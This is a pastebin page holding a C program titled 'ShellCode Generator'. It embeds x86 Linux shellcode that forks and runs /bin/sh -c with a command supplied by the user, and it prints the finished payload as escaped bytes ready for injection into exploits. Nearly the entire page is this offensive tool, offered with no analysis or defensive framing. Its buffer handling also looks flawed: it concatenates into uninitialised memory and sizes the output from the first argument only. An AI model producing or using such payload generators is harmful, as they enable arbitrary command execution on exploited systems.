KinG-InFeT.NeT ~ No-Paste

Titolo: ShellCode Generator Autore: BlackLight Data: 20.09.09 Numero Linee:   
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. char code[] =
  6. "\\x60" /* pusha */
  7. "\\xb8\\x02\\x00\\x00\\x00" /* mov $0x2,%eax */
  8. "\\xcd\\x80" /* int $0x80 */
  9. "\\x83\\xf8\\x00" /* cmp $0x0,%eax */
  10. "\\x74\\x02" /* je 8048383 <execve> */
  11. "\\xeb\\x24" /* jmp 80483a7 <end> */
  12. "\\xb8\\x0b\\x00\\x00\\x00" /* mov $0xb,%eax */
  13. "\\x6a\\x00" /* push $0x0 */
  14. "\\xeb\\x59" /* jmp 80483e5 <cmd> */
  15. "\\xeb\\x4f" /* jmp 80483dd <arg1> */
  16. "\\xeb\\x40" /* jmp 80483d0 <arg2> */
  17. "\\x5b" /* pop %ebx */
  18. "\\x53" /* push %ebx */
  19. "\\x89\\xe1" /* mov %esp,%ecx */
  20. "\\xba\\x00\\x00\\x00\\x00" /* mov $0x0,%edx */
  21. "\\xcd\\x80" /* int $0x80 */
  22. "\\xb8\\x01\\x00\\x00\\x00" /* mov $0x1,%eax */
  23. "\\xbb\\x00\\x00\\x00\\x00" /* mov $0x0,%ebx */
  24. "\\xcd\\x80" /* int $0x80 */
  25. "\\xb8\\x07\\x00\\x00\\x00" /* mov $0x7,%eax */
  26. "\\xbb\\xff\\xff\\xff\\xff" /* mov $0xffffffff,%ebx */
  27. "\\xbe\\x00\\x00\\x00\\x00" /* mov $0x0,%esi */
  28. "\\x56" /* push %esi */
  29. "\\x89\\xe1" /* mov %esp,%ecx */
  30. "\\xba\\x00\\x00\\x00\\x00" /* mov $0x0,%edx */
  31. "\\xcd\\x80" /* int $0x80 */
  32. "\\x83\\xc4\\x04" /* add $0x4,%esp */
  33. "\\x61" /* popa */
  34. "\\xb8\\x01\\x00\\x00\\x00" /* mov $0x1,%eax */
  35. "\\xbb\\x00\\x00\\x00\\x00" /* mov $0x0,%ebx */
  36. "\\xcd\\x80" /* int $0x80 */
  37. "\\xe8\\xbb\\xff\\xff\\xff" /* call 8048390 <l3> */
  38. "\\x2f\\x62\\x69\\x6e\\x2f"
  39. "\\x73\\x68\\x00" /* /bin/sh */
  40. "\\xe8\\xac\\xff\\xff\\xff" /* call 804838e <l2> */
  41. "\\x2d\\x63\\x00" /* sub $0xa2e80063,%eax */
  42. "\\xe8\\xa2\\xff\\xff\\xff" /* call 804838c <l1> */;
  43.  
  44. int main (int argc, char **argv) {
  45. int i,len=0;
  46. char *shell,*cmd;
  47.  
  48. if (!argv[1])
  49. exit(1);
  50.  
  51. for (i=1; i<argc; i++)
  52. len += strlen(argv[i]);
  53. len += argc;
  54.  
  55. cmd = (char*) malloc(len);
  56.  
  57. for (i=1; i<argc; i++) {
  58. strcat (cmd,argv[i]);
  59. strcat (cmd,"\x20");
  60. }
  61.  
  62. cmd[strlen(cmd)-1]=0;
  63. shell = (char*) malloc( sizeof(code) + (strlen(argv[1]))*5 + 1 );
  64. memcpy (shell,code,sizeof(code));
  65.  
  66. for (i=0; i<strlen(cmd); i++)
  67. sprintf (shell,"%s\\x%.2x",shell,cmd[i]);
  68. printf ("%s\n",shell);
  69. }


Powered By 0xPaste
Versione: v1.6



[-Administration Panel-]